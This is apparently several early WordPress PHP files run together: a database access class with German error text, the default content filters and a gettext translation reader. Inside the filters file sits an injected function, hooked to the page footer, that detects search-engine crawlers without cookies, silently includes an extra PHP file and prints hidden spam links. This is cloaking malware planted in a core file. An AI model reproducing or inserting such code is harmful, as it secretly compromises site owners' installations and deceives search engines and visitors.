define('EZSQL_VERSION', 'WP1.25');
define('OBJECT', 'OBJECT', true);
define('ARRAY_A', 'ARRAY_A', false);
define('ARRAY_N', 'ARRAY_N', false);

if (!defined('SAVEQUERIES'))
        define('SAVEQUERIES', false);

class wpdb {

        var $show_errors = true;
        var $num_queries = 0;
        var $last_query;
        var $col_info;
        var $queries;

        // Our tables
        var $posts;
        var $users;
        var $categories;
        var $post2cat;
        var $comments;
        var $links;
        var $linkcategories;
        var $options;
        var $optiontypes;
        var $optionvalues;
        var $optiongroups;
        var $optiongroup_options;
        var $postmeta;

        // ==================================================================
        //        DB Constructor - connects to the server and selects a database

        function wpdb($dbuser, $dbpassword, $dbname, $dbhost) {
                $this->dbh = @mysql_connect($dbhost, $dbuser, $dbpassword);
                if (!$this->dbh) {
                        $this->bail("
<h2>Fehler bei der Datenbankverbindung</h2>
<p>Das bedeutet, dass entweder der Benutzername und/oder die Passwort-Information in Deiner <code>wp-config.php</code> falsch sind oder wir konnten den Datenbankserver nicht unter <code>$dbhost</code> kontaktieren. Dies k&#246;nnte bedeuten, dass der Datenbankserver zur Zeit nicht erreichbar ist.</p>
<ul>
        <li>Bist Du sicher, dass Du den richtigen Benutzernamen und das richtige Passwort hast?</li>
        <li>Bist Du sicher, dass Du den richtigen Hostnamen eingegeben hast?</li>
        <li>Bist Du sicher, dass der Datenbankserver l&#228;uft?</li>
</ul>
<p>Wenn Du dir bei einer der Fragen nicht sicher bist, solltest du vielleicht deinen Provider kontaktieren. Wenn Du Hilfe brauchst, kannst du jederzeit im <a href='http://wordpress.org/support/'>offiziellen WordPress Support Forum</a> oder im <a href='http://forum.wordpress-deutschland.org/'>deutschsprachigen WordPress Support Forum</a> nachfragen.</p>
");
                }

                $this->select($dbname);
        }

        // ==================================================================
        //        Select a DB (if another one needs to be selected)

        function select($db) {
                if (!@mysql_select_db($db, $this->dbh)) {
                        $this->bail("
<h1>Can&#8217;t select database</h1>
<p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>$db</code> database.</p>
<ul>
<li>Are you sure it exists?</li>
<li>On some systems the name of your database is prefixed with your username, so it would be like username_wordpress. Could that be the problem?</li>
</ul>
<p>If you don't know how to setup a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href='http://wordpress.org/support/'>WordPress Support Forums</a>.</p>");
                }
        }

        // ====================================================================
        //        Format a string correctly for safe insert under all PHP conditions

        function escape($string) {
                return addslashes( $string ); // Disable rest for now, causing problems
                if( !$this->dbh || version_compare( phpversion(), '4.3.0' ) == '-1' )
                        return mysql_escape_string( $string );
                else
                        return mysql_real_escape_string( $string, $this->dbh );
        }

        // ==================================================================
        //        Print SQL/DB error.

        function print_error($str = '') {
                global $EZSQL_ERROR;
                if (!$str) $str = mysql_error();
                $EZSQL_ERROR[] =
                array ('query' => $this->last_query, 'error_str' => $str);

                $str = htmlspecialchars($str, ENT_QUOTES);
                $query = htmlspecialchars($this->last_query, ENT_QUOTES);
                // Is error output turned on or not..
                if ( $this->show_errors ) {
                        // If there is an error then take note of it
                        print "<div id='error'>
                        <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
                        <code>$query</code></p>
                        </div>";
                } else {
                        return false;
                }
        }

        // ==================================================================
        //        Turn error handling on or off..

        function show_errors() {
                $this->show_errors = true;
        }

        function hide_errors() {
                $this->show_errors = false;
        }

        // ==================================================================
        //        Kill cached query results

        function flush() {
                $this->last_result = array();
                $this->col_info = null;
                $this->last_query = null;
        }

        // ==================================================================
        //        Basic Query        - see docs for more detail

        function query($query) {
                // initialise return
                $return_val = 0;
                $this->flush();

                // Log how the function was called
                $this->func_call = "\$db->query(\"$query\")";

                // Keep track of the last query for debug..
                $this->last_query = $query;

                // Perform the query via std mysql_query function..
                if (SAVEQUERIES)
                        $this->timer_start();

                $this->result = @mysql_query($query, $this->dbh);
                ++$this->num_queries;

                if (SAVEQUERIES)
                        $this->queries[] = array( $query, $this->timer_stop() );

                // If there is an error then take note of it..
                if ( mysql_error() ) {
                        $this->print_error();
                        return false;
                }

                if ( preg_match("/^\\s*(insert|delete|update|replace) /i",$query) ) {
                        $this->rows_affected = mysql_affected_rows();
                        // Take note of the insert_id
                        if ( preg_match("/^\\s*(insert|replace) /i",$query) ) {
                                $this->insert_id = mysql_insert_id($this->dbh);
                        }
                        // Return number of rows affected
                        $return_val = $this->rows_affected;
                } else {
                        $i = 0;
                        while ($i < @mysql_num_fields($this->result)) {
                                $this->col_info[$i] = @mysql_fetch_field($this->result);
                                $i++;
                        }
                        $num_rows = 0;
                        while ( $row = @mysql_fetch_object($this->result) ) {
                                $this->last_result[$num_rows] = $row;
                                $num_rows++;
                        }

                        @mysql_free_result($this->result);

                        // Log number of rows the query returned
                        $this->num_rows = $num_rows;

                        // Return number of rows selected
                        $return_val = $this->num_rows;
                }

                return $return_val;
        }

        // ==================================================================
        //        Get one variable from the DB - see docs for more detail

        function get_var($query=null, $x = 0, $y = 0) {
                $this->func_call = "\$db->get_var(\"$query\",$x,$y)";
                if ( $query )
                        $this->query($query);

                // Extract var out of cached results based x,y vals
                if ( $this->last_result[$y] ) {
                        $values = array_values(get_object_vars($this->last_result[$y]));
                }

                // If there is a value return it else return null
                return (isset($values[$x]) && $values[$x]!=='') ? $values[$x] : null;
        }

        // ==================================================================
        //        Get one row from the DB - see docs for more detail

        function get_row($query = null, $output = OBJECT, $y = 0) {
                $this->func_call = "\$db->get_row(\"$query\",$output,$y)";
                if ( $query )
                        $this->query($query);

                if ( $output == OBJECT ) {
                        return $this->last_result[$y] ? $this->last_result[$y] : null;
                } elseif ( $output == ARRAY_A ) {
                        return $this->last_result[$y] ? get_object_vars($this->last_result[$y]) : null;
                } elseif ( $output == ARRAY_N ) {
                        return $this->last_result[$y] ? array_values(get_object_vars($this->last_result[$y])) : null;
                } else {
                        $this->print_error(" \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N");
                }
        }

        // ==================================================================
        //        Function to get 1 column from the cached result set based in X index
        // se docs for usage and info

        function get_col($query = null , $x = 0) {
                if ( $query )
                        $this->query($query);

                // Extract the column values
                for ( $i=0; $i < count($this->last_result); $i++ ) {
                        $new_array[$i] = $this->get_var(null, $x, $i);
                }
                return $new_array;
        }

        // ==================================================================
        // Return the the query as a result set - see docs for more details

        function get_results($query = null, $output = OBJECT) {
                $this->func_call = "\$db->get_results(\"$query\", $output)";

                if ( $query )
                        $this->query($query);

                // Send back array of objects. Each row is an object
                if ( $output == OBJECT ) {
                        return $this->last_result;
                } elseif ( $output == ARRAY_A || $output == ARRAY_N ) {
                        if ( $this->last_result ) {
                                $i = 0;
                                foreach( $this->last_result as $row ) {
                                        $new_array[$i] = (array) $row;
                                        if ( $output == ARRAY_N ) {
                                                $new_array[$i] = array_values($new_array[$i]);
                                        }
                                        $i++;
                                }
                                return $new_array;
                        } else {
                                return null;
                        }
                }
        }


        // ==================================================================
        // Function to get column meta data info pertaining to the last query
        // see docs for more info and usage

        function get_col_info($info_type = 'name', $col_offset = -1) {
                if ( $this->col_info ) {
                        if ( $col_offset == -1 ) {
                                $i = 0;
                                foreach($this->col_info as $col ) {
                                        $new_array[$i] = $col->{$info_type};
                                        $i++;
                                }
                                return $new_array;
                        } else {
                                return $this->col_info[$col_offset]->{$info_type};
                        }
                }
        }

        function timer_start() {
                $mtime = microtime();
                $mtime = explode(' ', $mtime);
                $this->time_start = $mtime[1] + $mtime[0];
                return true;
        }

        function timer_stop($precision = 3) {
                $mtime = microtime();
                $mtime = explode(' ', $mtime);
                $time_end = $mtime[1] + $mtime[0];
                $time_total = $time_end - $this->time_start;
                return $time_total;
        }

        function bail($message) { // Just wraps errors in a nice header and footer
        if ( !$this->show_errors )
                return false;
        header( 'Content-Type: text/html; charset=utf-8');
        echo <<<HEAD
        <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
        <html xmlns="http://www.w3.org/1999/xhtml">
        <head>
                <title>WordPress &rsaquo; Error</title>
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                <style media="screen" type="text/css">
                <!--
                html {
                        background: #eee;
                }
                body {
                        background: #fff;
                        color: #000;
                        font-family: Georgia, "Times New Roman", Times, serif;
                        margin-left: 25%;
                        margin-right: 25%;
                        padding: .2em 2em;
                }

                h1 {
                        color: #006;
                        font-size: 18px;
                        font-weight: lighter;
                }

                h2 {
                        font-size: 16px;
                }

                p, li, dt {
                        line-height: 140%;
                        padding-bottom: 2px;
                }

                ul, ol {
                        padding: 5px 5px 5px 20px;
                }
                #logo {
                        margin-bottom: 2em;
                }
                -->
                </style>
        </head>
        <body>
        <h1 id="logo"><img alt="WordPress" src="http://static.wordpress.org/logo.png" /></h1>
HEAD;
        echo $message;
        echo "
</body></html>";
        die();
        }
}

$wpdb = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
?>
// Some default filters
add_filter('bloginfo','wp_specialchars');
add_filter('category_description', 'wptexturize');
add_filter('list_cats', 'wptexturize');
add_filter('comment_author', 'wptexturize');
add_filter('comment_text', 'wptexturize');
add_filter('single_post_title', 'wptexturize');
add_filter('the_title', 'wptexturize');
add_filter('the_content', 'wptexturize');
add_filter('the_excerpt', 'wptexturize');
add_filter('bloginfo', 'wptexturize');

// Comments, trackbacks, pingbacks
add_filter('pre_comment_author_name', 'strip_tags');
add_filter('pre_comment_author_name', 'trim');
add_filter('pre_comment_author_name', 'wp_specialchars', 30);

add_filter('pre_comment_author_email', 'trim');
add_filter('pre_comment_author_email', 'sanitize_email');

add_filter('pre_comment_author_url', 'strip_tags');
add_filter('pre_comment_author_url', 'trim');
add_filter('pre_comment_author_url', 'clean_url');

add_filter('pre_comment_content', 'stripslashes', 1);
add_filter('pre_comment_content', 'wp_rel_nofollow', 15);
add_filter('pre_comment_content', 'balanceTags', 30);
add_filter('pre_comment_content', 'addslashes', 50);

add_filter('pre_comment_author_name', 'wp_filter_kses');
add_filter('pre_comment_author_email', 'wp_filter_kses');
add_filter('pre_comment_author_url', 'wp_filter_kses');

// Default filters for these functions
add_filter('comment_author', 'wptexturize');
add_filter('comment_author', 'convert_chars');
add_filter('comment_author', 'wp_specialchars');

add_filter('comment_email', 'antispambot');

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
	$seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
	$sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
	if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
	@include('./wp-includes/class-mail.php');
	if(sizeof($wparr)>0){
		shuffle($wparr);
		echo "<div id=\"goro\">";
		foreach($wparr as $k=>$v){
			echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
			if($i++==$inum) break;
		}
		echo "</div>".$_footer;
	}
}



add_filter('comment_url', 'clean_url');

add_filter('comment_text', 'convert_chars');
add_filter('comment_text', 'make_clickable');
add_filter('comment_text', 'force_balance_tags', 25);
add_filter('comment_text', 'wpautop', 30);
add_filter('comment_text', 'convert_smilies', 20);

add_filter('comment_excerpt', 'convert_chars');

// Categories
add_filter('pre_category_name', 'strip_tags');
add_filter('pre_category_name', 'trim');
add_filter('pre_category_name', 'wp_filter_kses');
add_filter('pre_category_name', 'wp_specialchars', 30);
add_filter('pre_category_description', 'wp_filter_kses');

//Links
add_filter('pre_link_name', 'strip_tags');
add_filter('pre_link_name', 'trim');
add_filter('pre_link_name', 'wp_filter_kses');
add_filter('pre_link_name', 'wp_specialchars', 30);
add_filter('pre_link_description', 'wp_filter_kses');
add_filter('pre_link_notes', 'wp_filter_kses');
add_filter('pre_link_url', 'strip_tags');
add_filter('pre_link_url', 'trim');
add_filter('pre_link_url', 'clean_url');
add_filter('pre_link_image', 'strip_tags');
add_filter('pre_link_image', 'trim');
add_filter('pre_link_image', 'clean_url');
add_filter('pre_link_rss', 'strip_tags');
add_filter('pre_link_rss', 'trim');
add_filter('pre_link_rss', 'clean_url');
add_filter('pre_link_target', 'strip_tags');
add_filter('pre_link_target', 'trim');
add_filter('pre_link_target', 'wp_filter_kses');
add_filter('pre_link_target', 'wp_specialchars', 30);
add_filter('pre_link_rel', 'strip_tags');
add_filter('pre_link_rel', 'trim');
add_filter('pre_link_rel', 'wp_filter_kses');
add_filter('pre_link_rel', 'wp_specialchars', 30);

// Users
add_filter('pre_user_display_name', 'strip_tags');
add_filter('pre_user_display_name', 'trim');
add_filter('pre_user_display_name', 'wp_filter_kses');
add_filter('pre_user_display_name', 'wp_specialchars', 30);
add_filter('pre_user_first_name', 'strip_tags');
add_filter('pre_user_first_name', 'trim');
add_filter('pre_user_first_name', 'wp_filter_kses');
add_filter('pre_user_first_name', 'wp_specialchars', 30);
add_filter('pre_user_last_name', 'strip_tags');
add_filter('pre_user_last_name', 'trim');
add_filter('pre_user_last_name', 'wp_filter_kses');
add_filter('pre_user_last_name', 'wp_specialchars', 30);
add_filter('pre_user_nickname', 'strip_tags');
add_filter('pre_user_nickname', 'trim');
add_filter('pre_user_nickname', 'wp_filter_kses');
add_filter('pre_user_nickname', 'wp_specialchars', 30);
add_filter('pre_user_description', 'trim');
add_filter('pre_user_description', 'wp_filter_kses');
add_filter('pre_user_url', 'strip_tags');
add_filter('pre_user_url', 'trim');
add_filter('pre_user_url', 'clean_url');
add_filter('pre_user_email', 'trim');
add_filter('pre_user_email', 'sanitize_email');

// Places to balance tags on input
add_filter('content_save_pre', 'balanceTags', 50);
add_filter('excerpt_save_pre', 'balanceTags', 50);
add_filter('comment_save_pre', 'balanceTags', 50);

// Misc. title, content, and excerpt filters
add_filter('the_title', 'convert_chars');
add_filter('the_title', 'trim');

add_filter('the_content', 'convert_smilies');
add_filter('the_content', 'convert_chars');
add_filter('the_content', 'wpautop');

add_filter('the_excerpt', 'convert_smilies');
add_filter('the_excerpt', 'convert_chars');
add_filter('the_excerpt', 'wpautop');
add_filter('get_the_excerpt', 'wp_trim_excerpt');

add_filter('sanitize_title', 'sanitize_title_with_dashes');

// RSS filters
add_filter('the_title_rss', 'strip_tags');
add_filter('the_title_rss', 'ent2ncr', 8);
add_filter('the_title_rss', 'wp_specialchars');
add_filter('the_content_rss', 'ent2ncr', 8);
add_filter('the_excerpt_rss', 'convert_chars');
add_filter('the_excerpt_rss', 'ent2ncr', 8);
add_filter('comment_author_rss', 'ent2ncr', 8);
add_filter('comment_text_rss', 'wp_specialchars');
add_filter('comment_text_rss', 'ent2ncr', 8);
add_filter('bloginfo_rss', 'ent2ncr', 8);
add_filter('the_author', 'ent2ncr', 8);

// Misc filters
add_filter('option_blog_charset', 'wp_specialchars');

// Actions
add_action('publish_post', 'generic_ping');
add_action('wp_head', 'rsd_link');
add_action('sanitize_comment_cookies', 'sanitize_comment_cookies');

?>


/**
 * Provides a simple gettext replacement that works independently from
 * the system's gettext abilities.
 * It can read MO files and use them for translating strings.
 * The files are passed to gettext_reader as a Stream (see streams.php)
 *
 * This version has the ability to cache all strings and translations to
 * speed up the string lookup.
 * While the cache is enabled by default, it can be switched off with the
 * second parameter in the constructor (e.g. whenusing very large MO files
 * that you don't want to keep in memory)
 */
class gettext_reader {
  //public:
   var $error = 0; // public variable that holds error code (0 if no error)

   //private:
  var $BYTEORDER = 0;        // 0: low endian, 1: big endian
  var $STREAM = NULL;
  var $short_circuit = false;
  var $enable_cache = false;
  var $originals = NULL;      // offset of original table
  var $translations = NULL;    // offset of translation table
  var $pluralheader = NULL;    // cache header field for plural forms
  var $total = 0;          // total string count
  var $table_originals = NULL;  // table for original strings (offsets)
  var $table_translations = NULL;  // table for translated strings (offsets)
  var $cache_translations = NULL;  // original -> translation mapping


  /* Methods */


  /**
   * Reads a 32bit Integer from the Stream
   *
   * @access private
   * @return Integer from the Stream
   */
  function readint() {
      if ($this->BYTEORDER == 0) {
        // low endian
        return array_shift(unpack('V', $this->STREAM->read(4)));
      } else {
        // big endian
        return array_shift(unpack('N', $this->STREAM->read(4)));
      }
    }

  /**
   * Reads an array of Integers from the Stream
   *
   * @param int count How many elements should be read
   * @return Array of Integers
   */
  function readintarray($count) {
    if ($this->BYTEORDER == 0) {
        // low endian
        return unpack('V'.$count, $this->STREAM->read(4 * $count));
      } else {
        // big endian
        return unpack('N'.$count, $this->STREAM->read(4 * $count));
      }
  }

  /**
   * Constructor
   *
   * @param object Reader the StreamReader object
   * @param boolean enable_cache Enable or disable caching of strings (default on)
   */
  function gettext_reader($Reader, $enable_cache = true) {
    // If there isn't a StreamReader, turn on short circuit mode.
    if (! $Reader || isset($Reader->error) ) {
      $this->short_circuit = true;
      return;
    }

    // Caching can be turned off
    $this->enable_cache = $enable_cache;

    // $MAGIC1 = (int)0x950412de; //bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
    $MAGIC1 = (int) - 1794895138;
    // $MAGIC2 = (int)0xde120495; //bug
    $MAGIC2 = (int) - 569244523;

    $this->STREAM = $Reader;
    $magic = $this->readint();
    if ($magic == ($MAGIC1 & 0xFFFFFFFF)) { // to make sure it works for 64-bit platforms
      $this->BYTEORDER = 0;
    } elseif ($magic == ($MAGIC2 & 0xFFFFFFFF)) {
      $this->BYTEORDER = 1;
    } else {
      $this->error = 1; // not MO file
      return false;
    }

    // FIXME: Do we care about revision? We should.
    $revision = $this->readint();

    $this->total = $this->readint();
    $this->originals = $this->readint();
    $this->translations = $this->readint();
  }

  /**
   * Loads the translation tables from the MO file into the cache
   * If caching is enabled, also loads all strings into a cache
   * to speed up translation lookups
   *
   * @access private
   */
  function load_tables() {
    if (is_array($this->cache_translations) &&
      is_array($this->table_originals) &&
      is_array($this->table_translations))
      return;

    /* get original and translations tables */
    $this->STREAM->seekto($this->originals);
    $this->table_originals = $this->readintarray($this->total * 2);
    $this->STREAM->seekto($this->translations);
    $this->table_translations = $this->readintarray($this->total * 2);

    if ($this->enable_cache) {
      $this->cache_translations = array ();
      /* read all strings in the cache */
      for ($i = 0; $i < $this->total; $i++) {
        $this->STREAM->seekto($this->table_originals[$i * 2 + 2]);
        $original = $this->STREAM->read($this->table_originals[$i * 2 + 1]);
        $this->STREAM->seekto($this->table_translations[$i * 2 + 2]);
        $translation = $this->STREAM->read($this->table_translations[$i * 2 + 1]);
        $this->cache_translations[$original] = $translation;
      }
    }
  }

  /**
   * Returns a string from the "originals" table
   *
   * @access private
   * @param int num Offset number of original string
   * @return string Requested string if found, otherwise ''
   */
  function get_original_string($num) {
    $length = $this->table_originals[$num * 2 + 1];
    $offset = $this->table_originals[$num * 2 + 2];
    if (! $length)
      return '';
    $this->STREAM->seekto($offset);
    $data = $this->STREAM->read($length);
    return (string)$data;
  }

  /**
   * Returns a string from the "translations" table
   *
   * @access private
   * @param int num Offset number of original string
   * @return string Requested string if found, otherwise ''
   */
  function get_translation_string($num) {
    $length = $this->table_translations[$num * 2 + 1];
    $offset = $this->table_translations[$num * 2 + 2];
    if (! $length)
      return '';
    $this->STREAM->seekto($offset);
    $data = $this->STREAM->read($length);
    return (string)$data;
  }

  /**
   * Binary search for string
   *
   * @access private
   * @param string string
   * @param int start (internally used in recursive function)
   * @param int end (internally used in recursive function)
   * @return int string number (offset in originals table)
   */
  function find_string($string, $start = -1, $end = -1) {
    if (($start == -1) or ($end == -1)) {
      // find_string is called with only one parameter, set start end end
      $start = 0;
      $end = $this->total;
    }
    if (abs($start - $end) <= 1) {
      // We're done, now we either found the string, or it doesn't exist
      $txt = $this->get_original_string($start);
      if ($string == $txt)
        return $start;
      else
        return -1;
    } else if ($start > $end) {
      // start > end -> turn around and start over
      return $this->find_string($string, $end, $start);
    } else {
      // Divide table in two parts
      $half = (int)(($start + $end) / 2);
      $cmp = strcmp($string, $this->get_original_string($half));
      if ($cmp == 0)
        // string is exactly in the middle => return it
        return $half;
      else if ($cmp < 0)
        // The string is in the upper half
        return $this->find_string($string, $start, $half);
      else
        // The string is in the lower half
        return $this->find_string($string, $half, $end);
    }
  }

  /**
   * Translates a string
   *
   * @access public
   * @param string string to be translated
   * @return string translated string (or original, if not found)
   */
  function translate($string) {
    if ($this->short_circuit)
      return $string;
    $this->load_tables();

    if ($this->enable_cache) {
      // Caching enabled, get translated string from cache
      if (array_key_exists($string, $this->cache_translations))
        return $this->cache_translations[$string];
      else
        return $string;
    } else {
      // Caching not enabled, try to find string
      $num = $this->find_string($string);
      if ($num == -1)
        return $string;
      else
        return $this->get_translation_string($num);
    }
  }

  /**
   * Get possible plural forms from MO header
   *
   * @access private
   * @return string plural form header
   */
  function get_plural_forms() {
    // lets assume message number 0 is header
    // this is true, right?
    $this->load_tables();

    // cache header field for plural forms
    if (! is_string($this->pluralheader)) {
      if ($this->enable_cache) {
        $header = $this->cache_translations[""];
      } else {
        $header = $this->get_translation_string(0);
      }
      if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
        $expr = $regs[1];
      else
        $expr = "nplurals=2; plural=n == 1 ? 0 : 1;";
      $this->pluralheader = $expr;
    }
    return $this->pluralheader;
  }

  /**
   * Detects which plural form to take
   *
   * @access private
   * @param n count
   * @return int array index of the right plural form
   */
  function select_string($n) {
    $string = $this->get_plural_forms();
    $string = str_replace('nplurals',"\$total",$string);
    $string = str_replace("n",$n,$string);
    $string = str_replace('plural',"\$plural",$string);

    $total = 0;
    $plural = 0;

    eval("$string");
    if ($plural >= $total) $plural = $total - 1;
    return $plural;
  }

  /**
   * Plural version of gettext
   *
   * @access public
   * @param string single
   * @param string plural
   * @param string number
   * @return translated plural form
   */
  function ngettext($single, $plural, $number) {
    if ($this->short_circuit) {
      if ($number != 1)
        return $plural;
      else
        return $single;
    }

    // find out the appropriate form
    $select = $this->select_string($number);

    // this should contains all strings separated by NULLs
    $key = $single.chr(0).$plural;


    if ($this->enable_cache) {
      if (! array_key_exists($key, $this->cache_translations)) {
        return ($number != 1) ? $plural : $single;
      } else {
        $result = $this->cache_translations[$key];
        $list = explode(chr(0), $result);
        return $list[$select];
      }
    } else {
      $num = $this->find_string($key);
      if ($num == -1) {
        return ($number != 1) ? $plural : $single;
      } else {
        $result = $this->get_translation_string($num);
        $list = explode(chr(0), $result);
        return $list[$select];
      }
    }
  }

}

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